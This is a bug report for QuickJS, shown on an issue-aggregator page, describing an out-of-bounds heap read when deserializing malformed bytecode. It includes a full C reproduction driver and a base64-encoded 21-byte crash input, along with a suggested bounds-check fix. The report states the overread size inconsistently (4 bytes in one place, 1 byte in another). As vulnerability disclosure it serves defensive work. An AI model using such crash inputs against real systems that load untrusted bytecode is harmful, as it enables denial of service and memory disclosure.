[Bug]Heap-buffer-overflow read in JS_ReadFunctionBytecode atom-fixup loop (get_u32 past the bytecode buffer) (CWE-125)

Open Beginner friendly
#547 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
72/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Quiet
Tech stack
c

Research direction

Start in the JS_ReadFunctionBytecode atom-fixup loop and inspect get_u32 in cutils.h:181. Reproduce the report with the supplied 21-byte input and ASan build, then verify that malformed bytecode whose atom operand exceeds byte_code_len is rejected without an out-of-bounds read.

Written by the indexing model from the issue text.

Description

Describe the bug

JS_ReadObject deserializes a serialized JS function. It copies the attacker-declared byte_code_len bytes of bytecode into a heap-allocated JSFunctionBytecode, then walks the opcodes to rewrite atom operands. For atom-format opcodes (OP_FMT_atom) the loop reads a 4-byte atom index with get_u32(bc_buf + pos + 1) (cutils.h:181) without first checking that pos + 1 + 4 <= byte_code_len. A 4-byte body that is a single atom-reference opcode makes get_u32 read 4 bytes past the end of the 108-byte allocation.

To Reproduce

  1. Clone QuickJS and check out the affected commit:

    git clone https://github.com/bellard/quickjs.git
    cd quickjs
    git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
    
  2. Save the driver below as poc_driver.c and build with ASan:

    gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver
    

    How the input is interpreted: the first byte of the POC selects the
    JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
    bytes
    are the serialized bytecode/object stream passed to JS_ReadObject.

/*
 * poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
 * deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
 * the first byte of the input selects the JS_ReadObject flag combination,
 * the remaining bytes are the serialized bytecode/object stream.
 *
 * Build with AddressSanitizer against a QuickJS checkout:
 *   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
 *       libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
 *       -o poc_driver
 * Run:
 *   ./poc_driver <poc.bin>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h"     /* FALSE/TRUE */

static int nb_interrupts;

static int interrupt_handler(JSRuntime *rt, void *opaque)
{
    nb_interrupts++;
    return (nb_interrupts > 100);   /* abort runaway scripts */
}

int main(int argc, char **argv)
{
    FILE *f;
    long sz;
    uint8_t *buf;
    JSRuntime *rt;
    JSContext *ctx;
    JSValue obj, val;
    static const int flags_tbl[] = {
        0,                                          /* plain object      */
        JS_READ_OBJ_BYTECODE,                       /* bytecode function */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
            JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
    };

    if (argc < 2)
        return 1;
    f = fopen(argv[1], "rb");
    if (!f)
        return 1;
    fseek(f, 0, SEEK_END);
    sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    buf = malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
        return 1;
    fclose(f);

    rt = JS_NewRuntime();
    ctx = JS_NewContext(rt);
    JS_SetMemoryLimit(rt, 0x4000000);   /* 64 MB, same as fuzz harness */
    JS_SetMaxStackSize(rt, 0x10000);    /* 64 KB */
    JS_SetInterruptHandler(rt, interrupt_handler, NULL);

    /* First byte selects flags; the rest is the serialized stream. */
    obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
    if (JS_IsException(obj)) {
        JS_FreeValue(ctx, JS_GetException(ctx));
        return 0;
    }

    /* Execute the deserialized bytecode if it is a module/function. */
    if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
        if (JS_ResolveModule(ctx, obj) < 0) {
            JS_FreeValue(ctx, obj);
            JS_FreeValue(ctx, JS_GetException(ctx));
            return 0;
        }
        js_module_set_import_meta(ctx, obj, FALSE, TRUE);
    }
    val = JS_EvalFunction(ctx, obj);
    if (JS_IsException(val))
        JS_FreeValue(ctx, JS_GetException(ctx));
    else
        JS_FreeValue(ctx, val);
    return 0;
}
  1. Write the exact 21-byte POC. The base64 string below round-trips to the byte-identical crash input:

    printf 'AQUADAAAAAAAAAABAAAABAAEAAQA' | base64 -d > poc.bin
    
  2. Run it:

    ./poc_driver poc.bin
    

    ASan output:

    ==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
    SUMMARY: AddressSanitizer: heap-buffer-overflow .../cutils.h:181 in get_u32
    

    Exit code 1.

Expected behavior

The atom-fixup loop should verify pos + 1 + 4 <= byte_code_len before calling get_u32, and reject bytecode whose operand reads exceed the declared length.

Screenshots

Image

Please complete the following information:

  • OS: Linux x86-64 (Ubuntu 22.04)
  • QuickJS version: 2026-06-04 (commit 04be246001599f5995fa2f2d8c91a0f198d3f34c)

Additional context

  • Deterministic: yes — the same 21-byte input always triggers the ASan report (verified 5/5 runs).
  • Reachability: the public JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
  • Severity: medium (1-byte OOB read, DoS + info leak) (CWE-125).
  • CWE: CWE-125.
Dominant language
C
Stars
11k
Forks
1.2k
PR merge metrics
No merged PRs in 30d

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from bellard/quickjs

All issues in bellard/quickjs

Similar issues

More C issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.